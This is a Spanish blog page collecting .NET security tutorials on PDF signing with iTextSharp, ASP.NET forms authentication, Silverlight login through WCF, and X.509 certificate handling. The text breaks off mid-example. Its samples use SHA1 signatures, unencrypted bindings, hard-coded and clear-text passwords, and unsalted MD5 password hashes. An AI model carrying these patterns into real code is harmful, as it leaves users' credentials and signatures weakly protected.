Archivo de la categoría 'Seguridad'


Cómo firmar un documento PDF desde C# con iTextSharp

Jueves, 24 jun, 2010 @ 18:40 | Por Gustavo Cantero (The Wolf) | .NET Framework, Certificados Digitales, Seguridad

Muchas veces tenemos que firmar un PDF utilizando un certificado X.509, y el iTextSharp (una excelente librería) nos puede ayudar a realizar esta tarea. Para esto les dejo un método que utilizo para hacer esto, que seguramente les va a ser de utilidad.

Para poder utilizar este código deben bajarse la librería iTextSharp (http://sourceforge.net/projects/itextsharp), y referenciar esta DLL y “System.Security” desde su proyecto.

A continuación les dejo el código:

using System;
using System.Collections;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.Pkcs;
using iTextSharp.text;
using iTextSharp.text.pdf;
using Org.BouncyCastle.X509;
using SysX509 = System.Security.Cryptography.X509Certificates;

/// <summary>
/// Helper para el firmado de PDFs con la librería iTextSharp
/// </summary>
public static class PDF
{
    /// <summary>
    /// Firma un documento
    /// </summary>
    /// <param name="Source">Documento origen</param>
    /// <param name="Target">Documento destino</param>
    /// <param name="Certificate">Certificado a utilizar</param>
    /// <param name="Reason">Razón de la firma</param>
    /// <param name="Location">Ubicación</param>
    /// <param name="AddVisibleSign">Establece si hay que agregar la firma visible al documento</param>
    public static void SignHashed(string Source, string Target, SysX509.X509Certificate2 Certificate, string Reason, string Location, bool AddVisibleSign)
    {
        X509CertificateParser objCP = new X509CertificateParser();
        X509Certificate[] objChain = new X509Certificate[] { objCP.ReadCertificate(Certificate.RawData) };

        PdfReader objReader = new PdfReader(Source);
        PdfStamper objStamper = PdfStamper.CreateSignature(objReader, new FileStream(Target, FileMode.Create), '\0');
        PdfSignatureAppearance objSA = objStamper.SignatureAppearance;

        if (AddVisibleSign)
            objSA.SetVisibleSignature(new Rectangle(100, 100, 300, 200), 1, null);

        objSA.SignDate = DateTime.Now;
        objSA.SetCrypto(null, objChain, null, null);
        objSA.Reason = Reason;
        objSA.Location = Location;
        objSA.Acro6Layers = true;
        objSA.Render = PdfSignatureAppearance.SignatureRender.NameAndDescription;
        PdfSignature objSignature = new PdfSignature(PdfName.ADOBE_PPKMS, PdfName.ADBE_PKCS7_SHA1);
        objSignature.Date = new PdfDate(objSA.SignDate);
        objSignature.Name = PdfPKCS7.GetSubjectFields(objChain[0]).GetField("CN");
        if (objSA.Reason != null)
            objSignature.Reason = objSA.Reason;
        if (objSA.Location != null)
            objSignature.Location = objSA.Location;
        objSA.CryptoDictionary = objSignature;
        int intCSize = 4000;
        Hashtable objTable = new Hashtable();
        objTable[PdfName.CONTENTS] = intCSize * 2 + 2;
        objSA.PreClose(objTable);

        HashAlgorithm objSHA1 = new SHA1CryptoServiceProvider();

        Stream objStream = objSA.RangeStream;
        int intRead = 0;
        byte[] bytBuffer = new byte[8192];
        while ((intRead = objStream.Read(bytBuffer, 0, 8192)) > 0)
            objSHA1.TransformBlock(bytBuffer, 0, intRead, bytBuffer, 0);
        objSHA1.TransformFinalBlock(bytBuffer, 0, 0);

        byte[] bytPK = SignMsg(objSHA1.Hash, Certificate, false);
        byte[] bytOut = new byte[intCSize];

        PdfDictionary objDict = new PdfDictionary();

        Array.Copy(bytPK, 0, bytOut, 0, bytPK.Length);

        objDict.Put(PdfName.CONTENTS, new PdfString(bytOut).SetHexWriting(true));
        objSA.Close(objDict);
    }

    /// <summary>
    /// Crea la firma CMS/PKCS #7
    /// </summary>
    private static byte[] SignMsg(byte[] Message, SysX509.X509Certificate2 SignerCertificate, bool Detached)
    {
        //Creamos el contenedor
        ContentInfo contentInfo = new ContentInfo(Message);

        //Instanciamos el objeto SignedCms con el contenedor
        SignedCms objSignedCms = new SignedCms(contentInfo, Detached);

        //Creamos el "firmante"
        CmsSigner objCmsSigner = new CmsSigner(SignerCertificate);

        // Include the following line if the top certificate in the
        // smartcard is not in the trusted list.
        objCmsSigner.IncludeOption = SysX509.X509IncludeOption.EndCertOnly;

        //  Sign the CMS/PKCS #7 message. The second argument is
        //  needed to ask for the pin.
        objSignedCms.ComputeSignature(objCmsSigner, false);

        //Encodeamos el mensaje CMS/PKCS #7
        return objSignedCms.Encode();
    }
}

Descargar proyecto de ejemploAquí les dejo un proyecto de ejemplo donde se pide un PDF a firmar, luego donde escribir PDF firmado y toma el primer certificado personal que posea clave privada y lo utiliza para firmar el PDF.

Espero que este código les sea de utilidad.
Suerte!

Artículos relacionados

VN:F [1.7.3_972]
Rating: 10.0/10 (1 voto cast)

Utilizar Autenticación de ASP.NET desde Silverlight

Martes, 23 mar, 2010 @ 21:38 | Por Gustavo Cantero (The Wolf) | ASP.NET, Seguridad, Silverlight, WCF

Hace unos meses Darío escribió un artículo donde explica cómo utilizar los servicios de autenticación y roles que posee ASP.NET en nuestras páginas (http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net), tanto desde el servidor como utilizando AJAX (http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net/3). Para complementarlo se me ocurrió escribir un artículo que explique cómo utilizar este servicio de autenticación desde Silverlight.
Para comenzar vamos a crear un proyecto Silverlight en nuestro Visual Studio, junto con su proyecto web de prueba (el cual va a exponer los servicios de autenticación).
Para utilizar estos servicios desde Silverlight (o desde cualquier aplicación externa) necesitamos publicarlos a través de WCF (Windows Communication Foundation). Para esto primero necesitamos configurar el servicio en el web.config, en la sección “Services”, apuntando a la clase “System.Web.ApplicationServices.AuthenticationService”. Cabe mencionar que necesitamos establecer la compatibilidad del servicio con ASP.NET, ya que sólo es soportado con http.

<system.serviceModel>
  <services>
    <service name="System.Web.ApplicationServices.AuthenticationService"
             behaviorConfiguration="AuthenticationServiceTypeBehaviors">
      <endpoint contract="System.Web.ApplicationServices.AuthenticationService"
                binding="basicHttpBinding" bindingConfiguration="http"
                bindingNamespace="http://asp.net/ApplicationServices/v200"/>
    </service>
  </services>
  <bindings>
    <basicHttpBinding>
      <!--En producción es aconsejable utilizar https-->
      <binding name="http">
        <security mode="None"/>
      </binding>
    </basicHttpBinding>
  </bindings>
  <behaviors>
    <serviceBehaviors>
      <behavior name="AuthenticationServiceTypeBehaviors">
        <serviceMetadata httpGetEnabled="true"/>
      </behavior>
    </serviceBehaviors>
  </behaviors>
  <serviceHostingEnvironment aspNetCompatibilityEnabled="true"/>
</system.serviceModel>

Luego necesitamos habilitar los servicios web de autenticación a través de las siguientes líneas:

<system.web.extensions>
  <scripting>
    <webServices>
      <authenticationService enabled="true" requireSSL="false"/>
    </webServices>
  </scripting>
</system.web.extensions>

Y el último cambio que necesitamos hacer al web.config es para establecer la autenticación en “Forms”, utilizando:

<authentication mode="Forms" />

Bien, ahora que ya tenemos configurada nuestra aplicación debemos crear el archivo que exponga el servicio de autenticación. Para esto simplemente tenemos que agregar un archivo de tipo texto (“Text File”), para que el Visual Studio no le cree el code behind, y llamarlo, por ejempo, Authentication.svc. En este archivo vamos a agregar solamente una línea que apunte a la clase de ASP.NET que implementa el servicio de autenticación:

<%@ ServiceHost Service="System.Web.ApplicationServices.AuthenticationService" %>

Ahora ya tenemos una aplicación web que utiliza los servicios de autenticación de ASP.NET y los expone a través de servicios web, por lo tanto ahora, en el proyecto Silverlight, vamos a agregar la referencia al servicio creado en el paso anterior. Para esto pulsamos el botón derecho del mouse sobre el proyecto y elegimos la opción “Add Service Reference”, luego en el diálogo que se muestra pulsamos en “Discover” para que busque los servicios publicados en nuestra solución, elegimos “Authentication.svc” de la lista, cambiamos el namespace donde queremos que cree las clases (en nuestro ejemplo lo dejamos como está: “ServiceReference1”), y pulsamos “OK”. Esto nos creará las clases proxy para que nuestra aplicación Silverlight se conecte y utilice los servicios de autenticación expuestos por nuestra aplicación web.

Agregar servicio web de Autenticación

La clase cliente que creamos, llamada en nuestro ejemplo “ServiceReference1.AuthenticationServiceClient”, tiene tres métodos importantes: LoginAsync, LogoutAsync e IsLoggedInAsync. Nótese que todos los métodos de los servicios web de Silverlight utilizan “Async” como sufijo debido a que siempre son asincrónicos, o sea, cuando los llamamos no se detiene la ejecución de la aplicación hasta obtener el valor solicitado, sino que se ejecutan de forma paralela y luego se llama a un evento determinado al finalizar la consulta, en nuestro caso, LoginCompleted, LogoutCompleted y IsLoggedInCompleted respectivamente.
Para nuestro ejemplo vamos a crear una grilla en la página principal de nuestra aplicación donde agregaremos tres botones para realizar el login, logout y consultar si el usuario está logeado:

<Grid x:Name="LayoutRoot">
    <Grid.ColumnDefinitions>
        <ColumnDefinition />
        <ColumnDefinition />
    </Grid.ColumnDefinitions>
    <Grid.RowDefinitions>
        <RowDefinition/>
        <RowDefinition/>
        <RowDefinition/>
        <RowDefinition/>
        <RowDefinition/>
    </Grid.RowDefinitions>

    <StackPanel Orientation="Horizontal" Grid.ColumnSpan="2">
        <TextBlock Text="Usuario:" />
        <TextBox x:Name="txtUser" />
        <TextBlock Text="Contraseña:" />
        <PasswordBox x:Name="txtPassword" />
    </StackPanel>

    <Button x:Name="btnLogin" Content="Login" Grid.Row="1" Click="btnLogin_Click" />
    <Button x:Name="btnLogout" Content="Logout" Grid.Row="2" Click="btnLogout_Click" />
    <Button x:Name="btnIsLogedIn" Content="IsLogedIn" Grid.Row="3" Click="btnIsLogedIn_Click" />

    <TextBlock x:Name="lblLogin" Grid.Column="1" Grid.Row="1" />
    <TextBlock x:Name="lblLogout" Grid.Column="1" Grid.Row="2" />
    <TextBlock x:Name="lblIsLogedIn" Grid.Column="1" Grid.Row="3" />

    <TextBlock Text="Hora último resultado:" Grid.Row="4" />
    <TextBlock x:Name="lblTime" Grid.Column="1" Grid.Row="4" />
</Grid>

Y por último vamos a agregar el código que maneja los eventos de los botones del ejemplo:

private void btnLogin_Click(object sender, RoutedEventArgs e)
{
    lblLogin.Text = string.Empty;
    ServiceReference1.AuthenticationServiceClient objWSAuth = new ServiceReference1.AuthenticationServiceClient();
    objWSAuth.LoginCompleted += new EventHandler<ServiceReference1.LoginCompletedEventArgs>(objWSAuth_LoginCompleted);
    objWSAuth.LoginAsync(txtUser.Text, txtPassword.Password, string.Empty, true);
}

void objWSAuth_LoginCompleted(object sender, ServiceReference1.LoginCompletedEventArgs e)
{
    lblLogin.Text = e.Result.ToString();
    lblTime.Text = DateTime.Now.ToLongTimeString();
}

private void btnLogout_Click(object sender, RoutedEventArgs e)
{
    lblLogout.Text = string.Empty;
    ServiceReference1.AuthenticationServiceClient objWSAuth = new ServiceReference1.AuthenticationServiceClient();
    objWSAuth.LogoutCompleted += new EventHandler<AsyncCompletedEventArgs>(objWSAuth_LogoutCompleted);
    objWSAuth.LogoutAsync();
}

void objWSAuth_LogoutCompleted(object sender, AsyncCompletedEventArgs e)
{
    lblLogout.Text = "Listo";
    lblTime.Text = DateTime.Now.ToLongTimeString();
}

private void btnIsLogedIn_Click(object sender, RoutedEventArgs e)
{
    lblIsLogedIn.Text = string.Empty;
    ServiceReference1.AuthenticationServiceClient objWSAuth = new ServiceReference1.AuthenticationServiceClient();
    objWSAuth.IsLoggedInCompleted += new EventHandler<ServiceReference1.IsLoggedInCompletedEventArgs>(objWSAuth_IsLoggedInCompleted);
    objWSAuth.IsLoggedInAsync();
}

void objWSAuth_IsLoggedInCompleted(object sender, ServiceReference1.IsLoggedInCompletedEventArgs e)
{
    lblIsLogedIn.Text = e.Result.ToString();
    lblTime.Text = DateTime.Now.ToLongTimeString();
}

Para probar este ejemplo tenemos que tener configurada nuestra aplicación para que utilice un proveedor de membership, por ejemplo, SqlMembershipProvider, el cual se explica en el artículo de Dario (http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net/2). Luego, a través de la herramienta de configuración de ASP.NET (ASP.NET Configuration) a la que se puede acceder a través del menú “Project” del Visual Studio, podemos crear usuarios de prueba ingresando en “Security” y luego “Create User”.

Crear usuario

Descargar proyecto de ejemplo para utilizar Autenticación de ASP.NET desde SilverlightComo siempre les dejo el proyecto para que lo prueben.
¡Suerte!

VN:F [1.7.3_972]
Rating: 9.2/10 (5 votos cast)

Autenticación por formularios en ASP.NET

Lunes, 19 oct, 2009 @ 10:59 | Por Dario Krapp | AJAX, ASP.NET, Seguridad

Prólogo e inicios

En algunas tecnologías web antiguas, como por ejemplo ASP (en el caso de Microsoft) la programación de la autenticación de los usuarios quedaba en manos de los programadores. A pesar de que no es una tarea extremadamente compleja, demandaba tiempo de desarrollo, pruebas y correcciones por cada sitio que se desarrollaba y aunque las técnicas utilizadas para esta funcionalidad se encontraban informalmente estandarizadas, siempre podían existir diferencias en las implementaciones (quien haya caído en la suerte de tener que modificar una aplicación legada, posiblemente sabrá a que nos referimos ), lo que influía en los tiempos y costos del desarrollo y si lo analizamos parecería tener poco sentido el gasto de esfuerzos de desarrollo en una tarea que es tan repetitiva. Quizás esa sea una de las causas por las que ASP.NET provee un sistema de autenticación ya incluido, lo que implica código, desarrollado, testeado, mantenido y listo para usar. En este artículo nos adentraremos en la autenticación por formularios desde sus comienzos en las primeras versiones de ASP.NET hasta la versión 3.5 (y diría que también hasta la versión 4.0, ya que hasta el momento no se han introducido modificaciones sobre estos ítems en la versión 4.0 y según parece, tampoco hay intenciones de hacerlo) y comentaremos algunos otros temas relacionados.

Para empezar diremos que la autenticación es el acto de confirmar que algo o alguien es quien dice ser y autorización es el acto de dar permisos (o denegárselos) a algo o alguien (ya autenticado) sobre un recurso, diremos además que algo o alguien es anónimo si no ha sido autenticado, que la acción de loguearse (login) consta de informar las credenciales a fin de poder autenticarse y la acción de desautenticarse (logout), si me permiten el término aunque no suene de lo mejor, consta de volver a un usuario autenticado al estado de anónimo.

En ASP.NET el modo de autenticación por formularios es aplicable para aplicaciones web que requieren autenticación, siempre que la misma no sea autenticación de Windows, para tales casos ASP.NET ofrecerá la opción de establecer el modo de autenticación Windows, pero ese es otro tema.

ASP.NET a través del modo de autenticación por formularios nos brindará mecanismos y funcionalidades que nos ayudarán a realizar ambas tareas: autenticación y autorización.

Para que el modo de autenticación por formularios funcione, solo debemos activarlo y la forma es simplemente ajustar la propiedad mode del tag authentication (del archivo web.config) en Forms, tal como se muestra a continuación:

<authentication mode="Forms">

El modo de autenticación por formularios creará una cookie con la información básica del usuario (obviamente encriptada), la cual será enviada por el browser en cada solicitud y el Servidor analizará la información de esta cookie para hacer los chequeos de autenticación y autorización necesarios. Este modo de funcionamiento es necesario debido a que en un entorno web las conexiones entre el cliente y el servidor se establecen y se cortan en cada solicitud. Por defecto la cookie tomará el nombre “.ASPXAUTH”.

En el siguiente esquema pueden observarse paso a paso las verificaciones de autenticación y autorización que realizará ASP.NET cuando una solicitud es procesada y se está utilizando autenticación por formularios:


Autenticación por formularios

El proceso graficado será realizado automáticamente por ASP.NET con simple hecho de haber establecido el atributo mode como Forms.
En nuestros ejemplos (que los estaremos realizando sobre Visual Studio 2008 SP1) utilizaremos una aplicación web que inicialmente contendrá la página Default.aspx, que es creada automáticamente junto con el proyecto.

Estructura del proyecto

Si en el ejemplo, luego de haber establecido el modo de autenticación por formularios, intentamos acceder a la página Default.aspx, notaremos que podremos hacerlo sin problemas, pero no debemos preocuparnos, este comportamiento se debe a que aún no hemos definido las reglas de acceso, por ahora cualquier usuario podrá acceder a cualquier recurso del sitio.

Para evitar que esto suceda, deberemos configurar las reglas de acceso. Por ahora, para simplificar lo haremos agregando las siguientes líneas dentro de la sección system.web del archivo web.config:

<authorization>
      <deny users="?"/>
</authorization>

Luego veremos en detalle las opciones disponibles para esta sección de la configuración, pero la sintaxis que utilizamos es bastante intuitiva, estaremos indicando que deberá negársele el acceso a cualquier recurso del sitio a los usuarios anónimos (identificados con el signo “?”, recordemos que un usuario anónimo es aquel que no se ha autenticado).

Si luego de esta modificación intentamos acceder nuevamente a Default.aspx (que es un recurso del sitio) veremos que somos automáticamente redireccionados a la página login.aspx, obteniendo un resultado similar al siguiente en la barra de direcciones del explorador:

http://localhost:6931/login.aspx?ReturnUrl….

Se obtendrá un error dado que la página login.aspx no existe, pero ese detalle mínimo pierde importancia ya que como podemos ver, el mecanismo está funcionando.

Lo que está haciendo ASP.NET es verificar la cookie, y al no encontrarla nos ha enviado a un formulario para que ingresemos nuestras credenciales y podamos autenticarnos.

La pagina login.aspx es la página de redirección que utiliza ASP.NET por defecto, pero es posible modificar este comportamiento definiendo un tag denominado forms dentro del tag authentication en el web.config como se muestra a continuación:

<authentication mode="Forms">
      <forms loginUrl="ingreso1.aspx"></forms>
</authentication>

Y no habrá quien se sorprenda de que luego de esta última modificación, la redirección sea a:

http://localhost:6931/ingreso1.aspx?ReturnUrl…….

Existen varias opciones aplicables al tag forms, algunas de ellas, además de loginUrl son:

  • name: Nombre de la cookie (el valor por defecto es .ASPXAUTH).
  • defaultUrl: pagina de redirección si la autenticación fue satisfactoria y el usuario había ingresado originalmente a la página de logueo (login.aspx por defecto).
  • timeout: tiempo de vida de la cookie.
  • slidingExpiration: si es verdadero, el tiempo de vida de la cookie se reiniciará cada vez que la página es reenviada.
  • cookieless: permite definir si se utilizarán cookies para mantener la información del usuario.
  • requireSSL: En verdadero indicará que el browser enviará la cookie al solo si la conexión es segura (SSL) en caso contrario de no contarse con una conexión segura, no funcionará la autenticación por formulario.
  • domain: Permitirá definir en qué dominio la cookie es válida.
    path: Permitirá definir el path de la cookie.

Para continuar con el ejemplo agregaremos la página ingreso1.aspx que será desde ahora en más nuestra página donde el usuario deberá ingresar sus credenciales para autenticarse (login).

Con estas simples modificaciones en el archivo de configuración hemos conseguido dar un primer paso a incorporarle a nuestro sitio la autenticación por formularios. Ahora que hemos conseguido que nadie pueda ingresar, debemos permitir que algunos usuarios si puedan hacerlo, y en particular aquellos a los que deseemos permitirles el ingreso. En este punto encontraremos dos opciones, una de ellas es encargarnos de autenticar al usuario por nuestra cuenta, lo que implica hacer el chequeo manualmente vía código y la otra será una opción automática con algunas particularidades.

Para el primer caso tomará importancia una clase llamada FormsAuthentication. Esta clase (como su nombre indica) nos ayudará a realizar todas las funcionalidades relacionadas con la autenticación por formularios programáticamente, como por ejemplo autenticar a un usuario y redireccionarlo a la pagina que el mismo había solicitado cuando se le denegó el acceso.

Para realizar la autenticación vía código con la ayuda de la clase FormsAuthentication escribiremos lo siguiente:

protected void Login_Click(object sender, EventArgs e)
        {
            if (Usuario.Text == "Juan" && Clave.Text == "clavedejuan")
                FormsAuthentication.RedirectFromLoginPage(Usuario.Text, false);
            else
            {
                LabelError.Text = "Usuario o clave incorrecto";
            }
        }

Hemos asumido que poseemos los cuadros de texto, Usuario, Clave y el botón Login, donde hemos utilizado el evento Click del mismo para agregar el código que puede verse en las líneas superiores. De más está decir que no hemos mencionado a los validadores con el único objetivo de simplificar el ejemplo.

Si probamos el ejemplo intentando ingresar a la página Default.aspx seremos redireccionados a la página Ingreso1.aspx donde deberemos ingresar nuestras credenciales, tal como se muestra a continuación:


Autenticación

Solo podremos acceder a Default.aspx si utilizamos como usuario a “Juan” y como clave a “clavedejuan”.

En el código que terminamos de agregar podemos ver también que nos estamos valiendo del método RedirectFromLoginPage de la clase FormsAuthentication para indicar la autenticación del usuario y la redirección a la página solicitada originalmente por el mismo.

Por otra parte podríamos incluir en la página Default.aspx un botón con la siguiente funcionalidad:

protected void LogOut_Click(object sender, EventArgs e)
        {
            FormsAuthentication.SignOut();
            FormsAuthentication.RedirectToLoginPage();
        }

Al presionarlo se ha utilizado una vez más la clase FormsAuthentication para desautenticar al usuario y reenviarlo a la página de ingreso nuevamente.

Con estas operaciones hemos conseguido que un usuario pueda realizar las operaciones de autenticación, en tal caso será simple reemplazar la sentencia Usuario.Text == “Juan” && Clave.Text == “clavedejuan” que utilizamos en el ejemplo por la llamada a un método que acceda al repositorio que más deseemos para efectuar la validación de las credenciales del usuario.

Si se observa la clase FormsAuthentication se notará que existe un método llamado Authenticate que toma por parámetros un nombre de usuario y una clave y devuelve un valor booleano, podríamos preguntarnos si este método será capaz de realizar la autenticación por nosotros, esta es la segunda opción que habíamos mencionado en algunos párrafos previos y para probar como funciona, podremos modificar el código anterior de la siguiente forma:

protected void Login_Click(object sender, EventArgs e)
        {
            if (FormsAuthentication.Authenticate(Usuario.Text, Clave.Text))
                FormsAuthentication.RedirectFromLoginPage(Usuario.Text, false);
            else
                LabelError.Text = "Usuario o clave incorrecto";
        }

Si ahora intentamos ingresar nuevamente, ya no importa que usuario y clave utilicemos, no podremos hacerlo, lo cual es un resultado bastante esperable, si consideramos le hemos delegado el control de la autenticación ASP.NET pero aún no le hemos indicado quienes serán los usuarios válidos de la aplicación. Si se desea utilizar esta opción automática debe considerarse la particularidad de que los usuarios deberán definirse en el propio archivo de configuración web.config, como se muestra en el siguiente ejemplo:

<authentication mode="Forms">
  <forms loginUrl="ingreso1.aspx" >
    <credentials passwordFormat="Clear">
      <user name ="Pepe" password ="clavedepepe"/>
      <user name ="Pedro" password ="clavedepedro"/>
    </credentials>
  </forms>
</authentication>

Luego de agregar estos valores veremos que es posible ingresar con ambos usuarios. El atributo passwordFormat del tag credentials admitirá además de la opción Clear (claves en formato limpio, o sea en texto legible para quien abra el archivo web.config) las opciones MD5 y SHA1 que permitirán utilizar el hash de la clave del usuario utilizando los algoritmos MD5 o SHA1. Claro está que en tal caso deberemos crear un mecanismo capaz de establecer dichos valores, lo bueno es que para obtener los valores hash en ambos formatos la clase FormsAuthentication ofrecerá el método HashPasswordForStoringInConfigFile que permitirá tomar una clave limpia y obtener el valor de hash correspondiente en el formato deseado. En el ejemplo anterior, si deseamos utilizar por ejemplo MD5 deberemos efectuar las siguientes modificaciones:

<authentication mode="Forms">
  <forms loginUrl="ingreso1.aspx">
    <credentials passwordFormat="MD5">
      <user name="Pepe" password="957995AA67183A4D2A91F7DE3EB9A692"/>
      <user name="Pedro" password="B447CA7CBA96E91D68D43C5867522BF0"/>
    </credentials>
  </forms>
</authentication>

Donde los valores de hash se han obtenido efectuando las siguientes llamadas:

string HashedPasswordPepe = FormsAuthentication.HashPasswordForStoringInConfigFile("clavedepepe " , "MD5");

y

string HashedPasswordJuan = FormsAuthentication.HashPasswordForStoringInConfigFile("clavedejuan " , "MD5");

Si bien todo esto funciona, creo que es inevitable pensar que se podría dar un próximo paso, ya que al fin de cuentas con este esquema que terminamos de ver, si bien ASP.NET y la clase FormsAuthentication nos han ayudado a controlar la autenticación y la autorización, la funcionalidad de la autenticación debimos codificarla, y cuando utilizamos la autenticación automática con el método Authenticate debimos definir a los usuarios en el archivo web.config. No sería nada malo que ASP.NET pudiese combinar ambas opciones y permitirnos efectuar la autenticación automáticamente sobre cualquier repositorio que deseáramos utilizar.

VN:F [1.7.3_972]
Rating: 9.8/10 (12 votos cast)

Utilizar certificados digitales desde .NET

Viernes, 21 ago, 2009 @ 09:20 | Por Gustavo Cantero (The Wolf) | .NET, Certificados Digitales, Seguridad

Luego de mis artículos sobre certificados digitales, firma digital y hash sólo me queda escribir el último de esta serie en donde me gustaría mostrar cómo buscar, leer y utilizar estos certificados X.509 desde .NET.

Consultar los repositorios de certificados

Como primer paso vamos a recorrer los certificados que tenemos instalados en nuestra máquina. Para esto debemos utilizar la clase X509Store, la cual nos da la posibilidad de consultar un repositorio de certificados, por ejemplo, el repositorio raíz (Root), el repositorio donde están los certificados de las autoridades certificantes (CertificateAuthority), o el repostorio personal (My). También tenemos que elegir la ubicación del certificado, es decir, si vamos a querer consultar los certificados que están a nivel de máquina o de usuario. Tengan en cuenta que si van a utilizar la clase X509Store desde ASP.NET deben leer los certificados que están a nivel de máquina, ya que el usuario ASP.NET rara vez va a tener algún certificado instalado.

Luego de elegido el repositorio que queremos abrir debemos utilizar el método Open para que consulte al mismo.

Una vez abierto el repositorio, la propiedad Certificates contendrá una colección (basada en la clase X509Certificate2Collection) de los certificados almacenados.

Después de utilizar el repositorio no hay que olvidar de cerrar el mismo con método Close.

A continuación muestro cómo abrir el repositorio personal y escribir en la consola de debug los nombres y firmas digitales (hash) de cada certificado:

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Diagnostics;
...
X509Store objStore = new X509Store(StoreName.My, StoreLocation.LocalMachine);
objStore.Open(OpenFlags.ReadOnly);

foreach (X509Certificate2 objCert in objStore.Certificates)
    Debug.Print(objCert.SubjectName.Name + ": " + objCert.Thumbprint);

objStore.Close();

Consultar la información del certificado y sus extensiones

Cada certificado posee una serie de datos (los cuales se describen en el artículo Conceptos de Certificado Digital y Firma Digital y creamos en el artículo Crear certificados de prueba para servidor y cliente). Además de estos datos los certificados poseen extensiones, que definen distintos posibles usos dependiendo de las mismas, y según la extensión poseen distintos datos almacenados. Por ejemplo, en la extensión del tipo “2.5.29.37” (también llamada “Enhanced Key Usage”) se guarda cual va a ser el destino del certificado, por ejemplo para autenticación del cliente.

Estas extensiones están en la colección Extensions del certificado, y para obtener la información almacenada debe castearse según el tipo del mismo. Para saber qué tipo de extensión es la almacenada se puede leer la propiedad Oid, la cual devuelve la clase homónima que representa un identificador de un objeto criptográfico (cryptographic object identifier) y luego, de este objeto, podemos leer la propiedad FriendlyName para obtener el nombre de la extensión.

A continuación hay un código de ejemplo donde se muestra la información de un certificado:

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado
StringBuilder objSB = new StringBuilder("Detalle del certificado: \n\n");

//Detalle
objSB.AppendLine("Persona = " + objCert.Subject);
objSB.AppendLine("Emisor = " + objCert.Issuer);
objSB.AppendLine("Válido desde = " + objCert.NotBefore.ToString());
objSB.AppendLine("Válido hasta = " + objCert.NotAfter.ToString());
objSB.AppendLine("Tamaño de la clave = " + objCert.PublicKey.Key.KeySize.ToString());
objSB.AppendLine("Número de serie = " + objCert.SerialNumber);
objSB.AppendLine("Hash = " + objCert.Thumbprint);

//Extensiones
objSB.AppendLine("\nExtensiones:\n");
foreach (X509Extension objExt in objCert.Extensions)
{
    objSB.AppendLine(objExt.Oid.FriendlyName + " (" + objExt.Oid.Value + ')');

    if (objExt.Oid.FriendlyName == "Key Usage")
    {
        X509KeyUsageExtension ext = (X509KeyUsageExtension)objExt;
        objSB.AppendLine("    " + ext.KeyUsages);
    }

    if (objExt.Oid.FriendlyName == "Basic Constraints")
    {
        X509BasicConstraintsExtension ext = (X509BasicConstraintsExtension)objExt;
        objSB.AppendLine("    " + ext.CertificateAuthority);
        objSB.AppendLine("    " + ext.HasPathLengthConstraint);
        objSB.AppendLine("    " + ext.PathLengthConstraint);
    }

    if (objExt.Oid.FriendlyName == "Subject Key Identifier")
    {
        X509SubjectKeyIdentifierExtension ext = (X509SubjectKeyIdentifierExtension)objExt;
        objSB.AppendLine("    " + ext.SubjectKeyIdentifier);
    }

    if (objExt.Oid.FriendlyName == "Enhanced Key Usage") //2.5.29.37
    {
        X509EnhancedKeyUsageExtension ext = (X509EnhancedKeyUsageExtension)objExt;
        OidCollection objOids = ext.EnhancedKeyUsages;
        foreach (Oid oid in objOids)
            objSB.AppendLine("    " + oid.FriendlyName + " (" + oid.Value + ')');
    }
}
Debug.Print(objSB.ToString());

Validar certificados

Una de las tareas comunes que se realizan cuando estamos trabajando con certificados es la validación de los mismos. Esta tarea incluye verificar las fechas de validez, chequear que el certificado no haya sido revocado, etc. Esta validación debe hacerse en todos y cada uno de los certificados de la cadena hasta el certificado raíz.

Para validar la cadena de certificados se puede utilizar la clase X509Chain. Esta clase posee varias propiedades para especificar la forma en la que se quiere hacer la validación, por ejemplo, en la propiedad RevocationFlag se puede establecer si queremos validar sólo el certificado final (X509RevocationFlag.EndCertificateOnly), toda la cadena excepto el raíz (X509RevocationFlag.ExcludeRoot) o la cadena completa (X509RevocationFlag.EntireChain). También puede establecerse la forma en la que se quiere validar las revocaciones a través de la propiedad RevocationMode, pudiendo seleccionar en línea (X509RevocationMode.Online), fuera de línea (X509RevocationMode.Offline) o no chequear las listas de revocados (X509RevocationMode.NoCheck).

Para iniciar la validación, en la instancia de la clase X509Chain, se debe utilizar el método Build pasándole como parámetro el certificado. Luego de esto, en la propiedad ChainStatus, vamos a encontrar la lista de errores en las validaciones o, en caso de estar vacío este vector, significa que el certificado es válido.

Acá les dejo un código de ejemplo donde validamos un certificado y toda la cadena:

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado
X509Chain objChain = new X509Chain();

//Verifico toda la cadena de revocación
objChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
objChain.ChainPolicy.RevocationMode = X509RevocationMode.Online;

//Timeout para las listas de revocación
objChain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 0, 30);

//Verificar todo
objChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;

//Se puede cambiar la fecha de verificación
//objChain.ChainPolicy.VerificationTime = new DateTime(1999, 1, 1);

objChain.Build(objCert);

if (objChain.ChainStatus.Length != 0)
    foreach (X509ChainStatus objChainStatus in objChain.ChainStatus)
        Debug.Print(objChainStatus.Status.ToString() + " - " + objChainStatus.StatusInformation);
else
    Debug.Print("Ok");

Firma de datos

Una de las tareas más comunes para las cuales se utilizan los certificados es para firmar documentos. Para esto casi siempre se utiliza el estándar de sintaxis para mensajes criptográficos PKCS #7, el cual está definido en el RFC 2315.

En .NET, para crear firmas digitales utilizando PKCS #7, se pueden utilizar las clases que están en el namespace System.Security.Cryptography.Pkcs.
Pienso que lo mejor para explicar cómo hacerte esto es a través de un ejemplo, por lo tanto, a continuación muestro un ejemplo donde creo un documento con su firma digital a partir de un texto:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado

//Creamos el ContentInfo
